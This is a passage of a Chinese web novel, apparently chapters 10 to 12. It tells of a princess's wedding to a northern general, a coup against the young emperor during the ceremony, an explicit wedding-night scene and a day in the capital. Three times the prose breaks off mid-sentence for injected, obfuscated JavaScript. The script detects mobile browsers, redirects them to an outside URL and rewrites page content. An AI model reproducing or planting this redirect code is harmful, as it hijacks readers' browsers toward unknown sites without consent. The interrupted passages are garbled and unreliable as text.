她头戴九翚四凤冠,冠上珍珠垂帘轻摇,遮住半张面容。身上是正红色绣金鸾凤嫁衣,那鸾凤的每一片羽毛都用了十二色丝线,在烛光下流光溢彩。嫁衣下摆绣着百子千孙图,袖口滚着如意云纹,每一处细节都彰显着皇室婚礼的庄重。 郑沉捧着一面铜镜,镜中映出明仪绝美的容颜。她今日难得上了浓妆,眉间贴了金色花钿,唇染朱砂,美得惊心动魄。 “殿下,”郑沉声音有些哽咽,“您今日真美。” 明仪看着镜中的自己,想起八年前那个在宫中苦苦等待的少女。那时她以为,这辈子都等不到这一天了。 “郑沉,”她轻声说,“这些日子,辛苦你了。” “臣不苦。”郑沉单膝跪地,“能侍奉公主,是臣三生之幸。” 门外,礼官高唱:“吉时到——请公主出阁!” 明仪深吸一口气,缓缓起身。两名侍女为她披上霞帔,那霞帔以金线绣着日月星辰,象征着她长公主的身份。 她走出闺阁,穿过庭院。府中仆从跪了一地,红绸从门口一直铺到轿前。那顶十六人抬的凤轿停在正门外,轿身以檀木打造,雕着鸾凤和鸣,四面垂着珍珠帘幕。 明仪登上凤轿,帘幕落下,将外界的喧嚣隔绝。 轿子起行,礼乐大作。街道两旁百姓跪拜高呼“长公主千岁”,声音如潮水般涌来。明仪坐在轿中,手中握着那枚被燕云徹贴身佩戴八年的护心符,指尖微微颤抖。 不是紧张,而是终于等到这一日的释然。 镇北侯府门前,燕云徹已率众等候。 他站在阶前,身后是三十六名镇北军将领,这些人都是随他出生入死的兄弟,今日卸了戎装,换上了吉服,但眉宇间的肃杀之气依旧未减。 远处,凤轿的队伍缓缓而来。前方是六十四名提灯宫女,手执龙凤宫灯;中间是礼乐队,笙箫鼓乐齐鸣;后方是八十一抬嫁妆,每一抬都系着红绸,沉甸甸地压弯了扁担。 这是皇室嫁女的最高规格。 轿子在府门前停下。礼官高唱:“请新郎迎轿——” 燕云徹上前三步,对着凤轿躬身行礼。这是皇室婚礼特有的规矩——即便是新郎,也要先向公主行君臣之礼。 轿帘被侍女掀开,明仪扶着侍女的手走下轿。珍珠垂帘在风中轻摇,她透过帘幕看向燕云徹,四目相对,两人眼中都有万千情绪流转。 “请新人入府——”礼官再唱。 燕云徹上前,接过明仪的手。那手微凉,在他掌心轻轻一颤。他握紧了,牵着她踏上台阶,跨过火盆——这是驱邪避灾的旧俗。 正堂内,观礼宾客已等候多时。文臣武将分列两侧,最上首的位置空着,那是留给少帝的。按制,长公主大婚,皇帝当亲临主婚。 但少帝迟迟未到。 礼官有些焦急,低声询问:“侯爷,吉时已到,是否先……” “等。”燕云徹只说了一个字。 他牵着明仪站在堂中,身形挺拔如松。满堂宾客面面相觑,却无人敢出声质疑。如今的燕云徹,已不是八年前那个任人拿捏的少年将军了。 约莫过了一炷香时间,门外终于传来内侍尖细的唱喏:“陛下驾到——” 少帝身着明黄龙袍,在侍卫簇拥下缓步而入。他脸上带着恰到好处的笑意,眼中却一片冰寒。跟在他身后的,是一身黑袍的国师玄机子。 “臣等参见陛下!”满堂跪拜。 少帝走到上首主位坐下,淡淡道:“平身。今日是姑母大喜之日,诸位不必多礼。” 他看向堂中并肩而立的两人,笑容深了些:“镇北侯,姑母,朕来迟了,莫怪。” “陛下亲临,已是殊荣。”燕云徹躬身道。 “开始吧。”少帝挥手。 礼官擦了擦额上的汗,高声道:“一拜天地——” 燕云徹与明仪转身,对着堂外的青天跪下,三叩首。 “二拜高堂——” 两人转向供桌上的祖宗牌位,再行三叩。 “夫妻对拜——” 这是最后一拜。拜完这一拜,礼成,他们便是名正言顺的夫妻了。 明仪透过珍珠帘幕看向燕云徹,他也正看着她。两人眼中都有笑意,有释然,有对未来的期许。 他们缓缓躬身,要对拜。 “且慢。” 一个苍老的声音打断了仪式。 满堂寂静。 国师玄机子从少帝身后走出,对少帝躬身行礼:“陛下,时辰已到。” 少帝脸上的笑容瞬间消失,取而代之的是冰冷的嘲讽。他缓缓起身,居高临下地看着堂中两人:“姑母,镇北侯,有件事,朕必须在礼成前弄清楚。” 明仪心中一沉,手不自觉地收紧。燕云徹却依旧镇定,只是将她的手握得更紧。 “陛下请讲。”燕云徹平静道。 少帝从袖中取出一封密信,展开。那信纸已经泛黄,显然有些年头了。 “这是三日前,国师从北境截获的密信。”少帝的声音在寂静的堂中格外清晰,“信中详细记载了十五年前,燕氏族人在北境与蛮族的一场交易,他们以三千石粮草,换蛮族退兵三百里,保全了自己和麾下三万将士。” 他顿了顿,目光如刀:“但这三千石粮草,是从何而来?是从我大蒙的军粮中克扣的!燕氏族人通敌卖国,以军粮资敌,此罪当诛九族!” 满堂哗然。 燕云徹的脸色终于变了:“陛下,此信无法证其真伪!先氏族人都乃一介贫民,岂会做这等事!” “无法证实?”少帝冷笑,“国师,你说。” 玄机子缓缓道:“此信上有燕氏的私印,经鉴玉司查验,确是真印。且信中提到的那场战役,史书确有记载,天启十二年秋,燕氏率三万军对阵蛮族五万,最终蛮族莫名退兵,史称‘秋风大捷’。如今看来,这‘大捷’的背后,竟是如此龌龊的交易。” 他转向燕云徹,眼中闪过一丝诡异的笑意:“更可疑的是,镇北侯您……真的是燕氏的亲生子吗?老臣查到,燕夫人当年在北境生产时,恰逢战乱,孩子夭折。而您,是燕氏从战场上捡回来的孤儿,一个来历不明,却继承了燕家姓氏,再接近长公主,成为她身边的暗卫,最后掌握了大蒙兵权的人。” 这话如惊雷炸响。 明仪猛地掀开珍珠帘幕,怒视玄机子:“国师慎言!燕氏满门忠烈,岂容你如此污蔑!” “长公主莫急。”少帝慢条斯理地说,“朕这里,还有更有趣的东西。” 他拍了拍手。 殿外突然传来整齐的脚步声,数百名禁军冲入庭院,将婚堂团团围住。为首的将领手持长枪,对准了堂中的燕云徹。 “这是何意?”燕云徹冷声问。 “意思就是,”少帝走下台阶,一步步逼近,“你这个敌国细作,今日休想活着走出这里。” 他从怀中又取出一封信:“这是蛮族现任首领阿史那律的亲笔信,信中言明,燕云徹是他安插在大蒙的内应,三年前主动请命北上,就是为了掌握兵权,里应外合,颠覆我大蒙江山!” 他走到燕云徹面前,将信扔在地上:“燕云徹,你还有什么话说?” 满堂宾客早已吓得面无人色,纷纷退到角落。只有明仪依旧站在燕云徹身边,寸步不离。 燕云徹看着地上的信,忽然笑了。 那笑声起初很低,渐渐变大,最后竟笑得前仰后合。 少帝皱眉:“你笑什么?” “我笑陛下,”燕云徹止住笑声,眼中寒光乍现,“为了除掉臣,竟编造出如此漏洞百出的谎言。” 他弯腰捡起那封信,展开:“首先,阿史那律十五年前就瞎了右眼,根本写不出如此工整的字迹。其次,蛮族文字与大蒙不同,他们写信用的是羊皮卷,而非这种江南宣纸。最后......” 他抬眼看少帝,目光如鹰隼:“陛下可知,阿史那律三日前已暴毙身亡?如今蛮族内乱,他的三个儿子正在争夺首领之位,哪还有闲心给陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129435|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下写这种信?” 少帝脸色一变,看向玄机子。 玄机子却依旧镇定:“侯爷果然机敏。但就算此信是假,燕氏通敌之事,却是千真万确。老臣已找到当年运送粮草的押运官,他愿当面对质。” “那就让他来。”燕云徹一字一顿,“但在此之前,臣有一事想问陛下。” “讲。” “陛下今日设此局,是真相信臣是细作,还是……”燕云徹顿了顿,声音陡然转厉,“只是忌惮臣兵权在握,忌惮长公主在朝中的威望,所以要找个理由,将我们一网打尽?” 这话问得太直白,直白到让少帝一时语塞。 堂中气氛紧绷如弦,一触即发。 禁军手中的长枪在烛光下泛着寒光,镇北军将领们也已悄悄握住了藏在吉服下的兵器。一场血腥厮杀,似乎不可避免。 就在这时,明仪忽然开口。 她的声音很轻,却让所有人都安静下来。 “陛下,”她缓缓取下头上的九翚四凤冠,放在供桌上,“您还记得三年前,先帝驾崩那夜,对您说的话吗?” 少帝瞳孔一缩。 明仪继续道:“那夜,你父皇拉着你的手说,‘昭儿,你年纪尚小,朕不放心。但你姑母明仪,聪慧仁厚,你要敬她如母,遇事多与她商议。’” 她走到少帝面前,直视他的眼睛:“这些年,臣自问对得起皇帝嘱托,对得起大蒙江山。臣从未想过夺权,只想辅佐陛下,守好这片祖宗打下的基业。” “但陛下呢?”她眼中泛起泪光,“陛下视臣如眼中钉,设局逼臣和亲,今日更在臣大婚之日,污臣夫君为细作。陛下,您对得起先帝吗?对得起这天下百姓吗?” 少帝被她问得后退一步,脸色青白交加。 玄机子见状,急忙上前:“陛下,莫听她蛊惑!长公主与燕云徹勾结,意图谋反,证据确凿!请陛下即刻下旨,诛杀逆贼!” 他话音未落,忽然闷哼一声,低头看向自己的胸口。 一柄匕首正插在那里,鲜血汩汩涌出。 持刀的人,竟是少帝身边的一个小内侍。那内侍一击得手,迅速退到燕云徹身后,撕下脸上的人皮面具,竟是郑沉。 “你……”玄机子指着郑沉,话未说完,便倒地气绝。 变故来得太快,所有人都愣住了。 少帝更是目瞪口呆:“郑沉!你……你不是在长公主府吗?!” 郑沉单膝跪地:“陛下恕罪。臣奉长公主之命,三日前便潜入宫中,只为在关键时刻,保护公主与侯爷。” 燕云徹此时才缓缓开口:“陛下,臣今日敢来办这场婚礼,便已做好了万全准备。您埋伏在府外的三千禁军,此刻已被臣的人控制。您在洛安城中的各处暗桩,也已在昨夜被一一拔除。” 他走到少帝面前,声音平静却带着不容置疑的威严:“陛下,这场戏,该落幕了。” 少帝脸色煞白,环顾四周。原本属于他的禁军,此刻竟无一人动弹。而那些文臣武将,更是纷纷低头,无人敢与他对视。 明仪走到他身边,轻声道:“昭儿,你累了。该休息了。” 她抬手,轻轻拂过少帝的肩膀。少帝只觉颈后一痛,便软软倒下,被两名侍卫扶住。 “陛下突发急症,需静养。”明仪对满堂宾客道,“今日之事,若有半句外传,诛九族。” 她的声音不大,却让所有人不寒而栗。 “送陛下回宫。”明仪下令,“婚礼继续。” 礼官战战兢兢地上前,咽了口唾沫,高唱:“夫——妻——对——拜——” 这一次,再无人打断。 燕云徹与明仪相对而立,缓缓躬身,完成了最后一拜。 “礼——成——” 礼乐再起,但已无人有心情欣赏。宾客们匆匆行礼告退,不多时,偌大的婚堂便只剩下燕云徹、明仪,以及他们最信任的几个人。 红烛依旧高燃,双喜字幅在风中轻摇。 只是这场婚礼,终究染上了血色。 明仪看着倒在地上的玄机子尸体,轻叹一声:“他还是走到了这一步。” “他必须死。”燕云徹握住她的手,“他知道得太多了。” “少帝那边……” “放心,我已安排好。从今日起,陛下‘因病静养’,朝政暂由长公主监国。”燕云徹看着她,“这江山,本就该是你的。” 明仪摇头:“我要的不是江山,只是一个能与你相守的太平盛世。” “那我们便一起打造这个盛世。”燕云徹拥她入怀。 窗外,天色渐暗,红霞满天。 11. 第十一章 洞房烛影 暮色四合,红烛高燃。 婚堂上那场惊心动魄的对峙,终于尘埃落定。尸体已被悄无声息地运走,血迹被清水反复擦洗,空气中只余淡淡的血腥气,混着檀香与红烛燃烧的味道。 明仪褪去沉重的九翚四凤冠,取下珍珠垂帘,如瀑青丝倾泻而下。她已换下那身繁复的正红嫁衣,只着一件暗红色绣金并蒂莲的寝衣,坐在铺满红枣、花生、桂圆、莲子的喜床上。 燕云徹推门进来时,已换下玄色婚服,只着一身素白中衣。烛火在他脸上投下忽明忽暗的光影,那道从额角划至下颌的伤疤,在温柔的光晕中竟显得柔和了几分。 门在身后轻轻关上。 室内一片寂静,只闻烛芯燃烧时细微的噼啪声。空气里浮动着合欢香的味道,那是洞房花烛夜特有的熏香,有安神助兴之效。 “都处理好了?”明仪轻声问。 “嗯。”燕云徹走到桌边,提起鎏金酒壶,斟满两杯合卺酒。酒液在烛光下泛着琥珀色的光晕,“郑沉已护送‘抱恙’的陛下回宫,太医会诊为忧思过重、需长期静养。朝中几位重臣我已打过招呼,他们知道该怎么做。” 明仪接过他递来的酒杯,指尖触到他温热的指节,两人俱是微微一颤。 合卺酒,又称交杯酒。按礼,新人需手臂相交,饮尽杯中酒,象征从此夫妻一体,甘苦与共。 燕云徹在她身侧坐下,两人的距离近得能感受到彼此的体温。他端起酒杯,手臂绕过她的手臂,形成一个交缠的姿势。 四目相对,烛火在彼此眼中跳跃。 “明仪。”他第一次在清醒时直呼她的名讳,声音低哑如弦。 “嗯。”她应声,眼眶微热。 酒杯轻碰,两人同时仰首。酒液入喉,微辣带甜,如这八年的等待......有苦涩,有煎熬,但终究等来了回甘。 饮尽,酒杯放下。按礼,该将杯子掷于床下,一仰一覆为吉兆。但燕云徹只是将两只酒杯轻轻放在桌上,然后握住了她的手。 “那些繁文缛节,今日已做得够多了。”他看着她,眼中燃着烛火般的光,“此刻,我只想好好看看你。” 明仪任由他注视。他的目光如有实质,从她的眉眼,到鼻梁,到唇瓣,每一寸都细细描摹,仿佛要将她的模样刻进骨血。 “我也想看你看我时的样子。”她轻声说,抬手抚上他的脸,指尖轻触那道伤疤,“这些年,每次想到你在北境,我的心就像被刀割一样疼。” 燕云徹握住她的手,将她的掌心贴在自己心口。隔着薄薄的中衣,手指覆下那结实有力的胸膛,她能感受到他沉稳有力的心跳,以及衣料下那些凹凸不平的伤疤。 “这里也疼过。”他说,“但每次疼的时候,只要想起你,就不那么疼了。” 烛火轻摇,在墙壁上投出两个依偎的身影。 燕云徹倾身,吻上她的唇。这个吻很轻,如蝶翼拂过花瓣,带着试探的温柔。明仪闭上眼睛,回应这个吻,双手攀上他的肩。 吻渐渐加深。他含住她的下唇,轻吮慢舔,舌尖探入时,带着合卺酒微甜的气息。明仪的呼吸急促起来,手指无意识地揪紧他肩头的衣料。 一吻结束,两人额头相抵,气息交融。 “按礼……”明仪喘息着说,“该解缨结发了。” 结发为夫妻,恩爱两不疑。这是古礼,新人各取一缕青丝,绾成同心结,以示永结同心。 燕云徹却摇头:“不必。我们的发,早在三年前就已结在一起了。” 他抬手,从枕下取出一只锦囊。锦囊已经褪色,边缘磨损,显然年月已久。他打开锦囊,倒出里面的东西。 是一绺用红绳系着的青丝,已经有些干枯,但依旧能看出是两个人的头发绾成的同心结。 明仪怔住:“这是……” “你曾为救我挡箭受伤,我守在你床边,趁你昏迷时剪的。”燕云徹的声音很轻,“你的,和我的。从那时起,我就知道,这辈子,我的心和命,都是你的了。” 明仪的眼泪终于落了下来。她接过那绺结发,紧紧攥在手心,仿佛攥着八年的光阴,三年的等待,八年的深情。从她救下他的那一刻起,他们就注定了情定终身。 “傻子。”她哽咽道,“为什么不早点告诉我?” “因为那时的我,配不上你。”燕云徹拭去她的泪,“所以我拼了命也要往上爬,爬到一个足以与你并肩的位置。” 他重新吻上她,这一次不再温柔,而是带着积压八年的渴望与占有。他的唇舌攻城略地,在她口中掀起惊涛骇浪。明仪被他吻得浑身发软,只能紧紧抓住他的衣襟,如同溺水之人抓住浮木。 烛火噼啪作响,爆出一朵灯花。 燕云徹的手探入她的寝衣,掌心贴着她腰际的肌肤。他的手掌粗糙,布满茧子,那是常年握刀拉弓留下的痕迹。但这粗糙的触感,却让明仪浑身战栗,一种陌生的快感从脊椎窜起。 “云徹……”她在他唇间呢喃。 “我在。”他的吻移到她颈侧,在那里烙下一个个滚烫的印记,“今晚,我终于可以光明正大地拥有你了。” 寝衣的系带被解开,暗红色的绸缎如花瓣般滑落,堆叠在腰间。烛光照在她莹白的肩头,如同上好的羊脂玉,泛着温润的光泽。 燕云徹的呼吸陡然粗重。他看着她,眼中燃烧着欲望的火,却又带着近乎虔诚的珍视。 “你真美。”他的声音沙哑得不成样子,“比我看到的,还要美上千倍万倍。” 明仪羞红了脸,却鼓起勇气直视他:“那你呢?让我也看看你。” 她伸手,解开他中衣的系带。素白的布料敞开,露出精壮的胸膛。那上面布满了伤疤,刀伤、箭伤、冻伤,层层叠叠,如同地图上纵横交错的沟壑。 每一道疤,都是一段生死往事。 明仪的指尖轻颤着抚过那些伤痕,从心口那道最深的刀疤,到肋下狰狞的箭伤,再到肩头已经愈合的箭孔。三年前为了今日,他在回程路上留下的新伤。 “疼吗?”她问,眼泪又落了下来。 “不疼了。”他握住她的手,按在那道心口的伤疤上,“因为这里,现在装满了你。” 他俯身,吻去她的泪,然后沿着她的脖颈一路向下。他的唇舌所过之处,点燃一簇簇火焰。明仪咬住下唇,抑制住即将脱口而出的呻吟。 喜床上的红枣、花生被扫落在地,发出细碎的声响。锦被被掀开,露出底下绣着百子千孙图的大红床单。 燕云徹将她轻轻放倒在床上,青丝铺了满枕。烛光从侧面照来,在她脸上投下睫毛的阴影,微微颤动,如蝶翼振翅。 他悬在她上方,深深看着她,眼中是毫不掩饰的爱欲与占有。 “明仪,”他低声唤她,声音里带着最后的克制,“若你累了,我们可以……” “我不累。” 于是时光开始融化。起初是春雪初融的试探,溪流涓涓漫过卵石;而后是雨季的江河,冲破所有堤坝与藩篱。多年积攒的月光、塞外的风沙、等待时数过的更漏,都在这一刻化为滚烫的潮汐。 床榻发出轻响,红烛的影子在墙上摇曳生姿,时而交颈缠绵,时而抵死相依,最后融成一片分不开的暖色光影。那些光影里,有草原的星空,有北境的雪,有宫墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129436|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内八年的孤寂,也有今夜终于圆满的月光。 汗水交织成网,网住两颗跋涉已久终于相遇的灵魂。他的气息落在她耳畔,滚烫如誓言,又温柔如叹息。她回应以破碎的音节,那些音节在空气里开成花,一朵接一朵,铺满这方寸天地。 烛火见证着这场迟来的仪式,不是征服,而是归航;不是占有,而是完整。两个漂泊半生的孤舟,终于在此夜系上同一条缆绳,从此风雨同舟,死生同命。 于是他便继续。起初是缓慢的,克制的,仿佛在对待易碎的珍宝。但渐渐的,这么多年的思念与渴望如洪水决堤,再也无法控制。 床榻开始轻摇,红烛的火光在墙壁上投出激烈晃动的影子。那些影子纠缠在一起,分不清彼此,如同两株藤蔓,历经风雨摧折,终于缠绕共生。 明仪咬住自己的手指,却仍抑制不住细碎的呜咽从唇间逸出。那声音如泣如诉,如歌如吟,混着燕云徹粗重的喘息,在密闭的室内回荡。 汗水浸湿了两人的发,贴在额角、颈侧。空气中弥漫着情欲的味道,混着合欢香,令人迷醉。 燕云徹的手与她的手十指相扣,按在枕侧。两枚护心符的红绳缠绕在一起,青玉贴着手腕,温润微凉,与肌肤的滚烫形成鲜明对比。 烛火跃动,在帐幔上投出朦胧的光影。那些光影如水波荡漾,如云海翻腾,如交战,又如融合,是两股原本分离的激流,终于冲破一切阻碍,汇入同一片汪洋。 明仪仰起头,颈线拉出优美的弧度。她看着帐顶绣着的鸳鸯戏水图,那些鸳鸯在晃动的光影中仿佛活了过来,在水中交颈缠绵。 “燕云徹……”她唤他,声音破碎不成调。 “我在。”他吻她的耳垂,在她耳边低语,“我永远都在。” 浪潮终于抵达顶峰。明仪眼前白光炸裂,如同除夕夜的烟火,绚烂夺目。她紧紧抱住身上的男人,如同抱住整个世界的重量与温暖。 燕云徹低吼一声,将所有滚烫的情潮倾注于她体内。那一瞬间,仿佛八年的分离、三年的等待、所有的阴谋算计与刀光剑影,都在这极致的融合中烟消云散。 余韵绵长。 两人相拥着平复呼吸,汗水交融,心跳渐渐同步。燕云徹没有离开,依旧停留在她体内,仿佛只有这样,才能确认这一切不是梦。 烛火已经燃了大半,烛泪堆积如小山。 许久,燕云徹才缓缓退出,侧身将她拥入怀中。明仪枕着他的手臂,脸贴在他胸膛,听着那沉稳有力的心跳。 “还疼吗?”他问,手指轻轻梳理她汗湿的长发。 “有点。”明仪诚实地说,但唇角却带着笑,“但更多的是……圆满。” 这些年的空缺,终于在这一夜被填满。 燕云徹吻了吻她的发顶:“睡吧。明天还有很多事要处理。” “嗯。”明仪闭上眼睛,却忽然想起什么,“对了,那绺结发……” 燕云徹从枕边摸出锦囊,将两人的结发重新放进去,然后系在床柱上:“让它在这里看着,看着我们白头偕老。” 明仪笑了,往他怀里钻了钻。 窗外传来梆子声,已是子时。 洞房花烛夜,良宵正浓。 红烛燃尽最后一滴泪,火光跳了跳,终于熄灭。但月光透过窗纱洒进来,在相拥而眠的两人身上镀了一层温柔的银辉。 这一夜,终于没有阴谋,没有杀戮,只有历经千难万险终于相守的爱人。 而明日,他们将携手面对新的挑战。 但今夜,让他们暂且沉溺在这来之不易的温柔里。 长夜未尽,春宵正好。 12. 第十二章 人间烟火 新婚第三日,按礼该是新人归宁之日。但明仪的父母早已不在,少帝又在“静养”,这归宁之礼便免了。 燕云徹提议:“不如出府走走?” 明仪有些讶异:“你我身份,这般抛头露面……” “今日没有长公主,也没有镇北侯。”燕云徹难得露出轻松的笑意,将一件素青披风递给她,“只有燕云徹,和他的妻子明仪。” 明仪看着他眼中闪烁的光,心头一软,接过披风:“好。” 两人换了寻常富户的衣裳,只带郑沉和两个便装侍卫,悄悄从侯府后门出了府。 时值暮春,洛安城街上熙熙攘攘。柳絮如雪,桃花正艳,护城河边的垂柳抽出嫩绿的新芽,在春风中摇曳生姿。 明仪已有多年未曾这般在街上行走了。上一次,还是八年前未嫁时,偷偷溜出宫看花灯。那时她身边只有几个胆小的宫女,看什么都新鲜,却又不敢久留。 如今不同了。她身边有他。 “想吃什么?”燕云徹问她,指着街边的各色小摊,“糖葫芦?桂花糕?还是豆腐脑?” 明仪看着那些热气腾腾的小吃,眼中闪过孩子般的好奇:“都要。” 燕云徹笑了,掏出铜钱,一样买了一份。糖葫芦晶莹剔透,桂花糕甜香扑鼻,豆腐脑撒着虾米和香菜,都是宫里吃不到的味道。 明仪咬了一口糖葫芦,酸酸甜甜的味道在口中化开,她满足地眯起眼:“好吃。” 燕云徹看着她,眼中满是温柔。这个在朝堂上杀伐决断的长公主,此刻却像个小姑娘,为了一串糖葫芦而欢喜。 “慢点吃。”他抬手擦去她嘴角的糖渍。 这个动作做得自然,明仪却红了脸。郑沉和侍卫识趣地退远了些,假装在看街边的杂耍。 两人继续往前走,路过一个卖面具的小摊。摊上摆着各色脸谱,有猴王,有仙女,有狰狞的鬼神,也有憨态可掬的福娃。 “喜欢哪个?”燕云徹问。 明仪拿起一个白狐面具,那面具做得精巧,眼睛处挖了孔,镶着细密的纱,戴上后既能看清外面,又遮住了面容。 “这个。”她说。 燕云徹付了钱,帮她戴上。白狐面具遮住了她大半张脸,只露出精巧的下巴和嫣红的唇。她又拿起一个青面獠牙的鬼王面具,递给他:“你戴这个。” 燕云徹失笑:“我戴这个?” “嗯。”明仪眼中闪着狡黠的光,“你平日总板着脸,戴这个正合适。” 燕云徹无奈,只得戴上。青面獠牙的鬼王,配上他挺拔的身姿,竟有种诡异的和谐。 两人戴着面具,混在人群中,终于可以毫无顾忌地牵手。燕云徹的手掌宽厚温暖,将她的手完全包裹。明仪感受着那份温度,心中涌起前所未有的安宁。 前方传来锣鼓声,一群人围成圈,正在看杂耍。一个赤膊的汉子正在表演胸口碎大石,另一个少年则踩着高跷,在空中翻跟头。 明仪看得入神,忽然感觉有人撞了她一下。她回头,只见一个瘦小的身影从她身边溜走,而她腰间的荷包已经不翼而飞。 “小偷!”她低呼。 燕云徹眼神一凛,身形如电般追了出去。那小偷跑得极快,在人群中穿梭如鱼,但燕云徹更快,几个起落便追到他身后,一把按住他的肩膀。 小偷转身,手中寒光一闪,竟是一把匕首。但他还未刺出,手腕已被燕云徹擒住,轻轻一扭,匕首“当啷”落地。 “好汉饶命!好汉饶命!”小偷连声求饶,“小的有眼不识泰山,这就把东西还给您!” 他掏出荷包,双手奉上。燕云徹接过,检查无误,才松开手:“走吧。下次若再让我看见你偷东西,就没这么简单了。” 小偷如蒙大赦,连滚爬爬地跑了。 明仪走过来,接过荷包:“你放了他?” “不过是个讨生活的可怜人。”燕云徹淡淡道,“看他面黄肌瘦,想必也是走投无路。” 明仪心中触动。这个在战场上杀人不眨眼的将军,对待这样的弱者,却有着出乎意料的宽容。 两人继续往前走,路过一座石桥。桥下河水潺潺,几艘小船悠悠划过,船娘唱着软糯的江南小调。桥头有棵老槐树,树下坐着个说书先生,正唾沫横飞地讲着故事。 “话说那镇北侯燕云徹,身高八尺,面如冠玉,手持一杆银枪,在北境杀得蛮族闻风丧胆……”说书先生说得兴起,一拍惊堂木,“那一日,蛮族三万大军压境,镇北侯单枪匹马,直取敌营,如入无人之境……” 周围听众听得如痴如醉,不时发出惊叹。 明仪忍俊不禁,低声对燕云徹说:“他把你讲得像天神下凡。” 燕云徹无奈摇头:“民间传说,总是越传越离谱。” 两人站在人群外围听了一会儿,说书先生正讲到“镇北侯为救长公主,独闯龙潭虎穴”一段,编得有鼻子有眼,仿佛亲眼所见。 明仪听得脸颊微红,拉了拉燕云徹的衣袖:“我们走吧。” 离开石桥,天色已近黄昏。夕阳西下,将整个洛安城染成金色。炊烟袅袅升起,空气中弥漫着饭菜的香味。 “饿了?”燕云徹问。 明仪点头:“有点。” “带你去个好地方。”燕云徹牵着她,拐进一条小巷。巷子很深,尽头有家不起眼的小店,门口挂着“张记面馆”的招牌。 店面不大,只摆着四五张桌子,却坐满了人。老板是个五十来岁的老汉,见燕云徹进来,眼睛一亮:“燕小哥?好久不见!” 燕云徹微笑:“张伯,生意还是这么好。” “托您的福。”张伯擦擦手,“老样子?” “嗯,两碗阳春面,多加葱花。”燕云徹说着,领着明仪在最里面的桌子坐下。 明仪好奇地打量四周。墙面被油烟熏得有些发黄,桌椅老旧,却擦得干干净净。食客们多是附近的百姓,穿着粗布衣裳,吃得满头大汗,却满脸满足。 “你常来?”她问。 “以前当暗卫时,偶尔会来。”燕云徹压低声音,“这里的面,是洛安城最好吃的。” 不多时,张伯端来两碗面。清汤,白面,撒着翠绿的葱花,看似简单,香气却扑鼻而来。 明仪尝了一口,眼睛亮了:“好吃!” 面汤是用老母鸡和猪骨熬的,鲜美醇厚。面条劲道爽滑,每一口都带着麦香。简简单单的一碗阳春面,却比她吃过的任何山珍海味都来得温暖。 燕云徹看着她吃得津津有味,嘴角不自觉扬起。这个在宫中锦衣玉食长大的公主,却能坦然坐在这样的小店里,吃一碗最寻常的面。 “你怎么找到这家店的?”明仪问。 “很多年前了。”燕云徹眼神有些悠远,“那时我刚到洛安,身无分文,饿得头晕眼花。张伯看我可怜,给了我一碗面,没收钱。” 他顿了顿:“后来我有了些积蓄,每次来,都会多付些钱。张伯不肯收,我就说存在他这儿,以后慢慢吃。” 明仪看着他,忽然明白他为何能赢得那么多人的忠诚。因为他记得每一份恩情,尊重每一个生命,无论对方是将军还是面馆老板。 吃完面,天色已完全暗下来。两人走出小巷,街上华灯初上。各色灯笼挂满了屋檐,有莲花灯,有兔子灯,有走马灯,将整条街照得如同白昼。 “今天是什么日子?”明仪问,“怎么这么多灯?” 燕云徹这才想起:“今日是上巳节。” 上巳节,又称女儿节。这一日,女子会结伴出游,临水宴饮,祈求祛除不祥。夜晚则会放河灯,许下心愿。 果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129437|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,护城河边已聚满了人。年轻的姑娘们手持莲花灯,小心翼翼地将灯放入河中。一盏盏河灯顺流而下,如同星河坠落人间,美不胜收。 “我们也放一盏?”燕云徹问。 明仪点头。两人买了盏莲花灯,走到河边。燕云徹点燃灯芯,明仪双手捧着,轻轻放入水中。 莲花灯晃晃悠悠地漂远,混入千百盏灯中,分不清哪盏是他们的。 “许愿了吗?”燕云徹问。 “许了。”明仪望着远去的河灯,轻声道,“愿天下太平,愿百姓安康,愿……我们能一直这样,携手到老。” 燕云徹握住她的手:“你的愿望,就是我的愿望。” 两人沿着河岸慢慢走,看万家灯火,听人间喧哗。这是他们从未有过的体验——不是高高在上的公主与将军,只是一对寻常夫妻,享受着最平凡的幸福。 “你知道吗,”明仪忽然说,“这是我一生中最快乐的一天。” 燕云徹看着她被灯火映亮的侧脸,心中涌起无限柔情:“以后还会有很多这样的日子。我保证。” “嗯。”明仪靠在他肩上,“我相信。” 夜深了,街上的人渐渐散去。两人也该回府了。走到侯府后门时,明仪忽然停下脚步。 “怎么了?”燕云徹问。 明仪看着他,眼中闪着光:“我不想回去。” 燕云徹怔了怔,随即明白她的意思。他也不舍得结束这一天,不舍得回到那个充满权谋算计的世界。 “那就不回去。”他说,“我们再走走。” 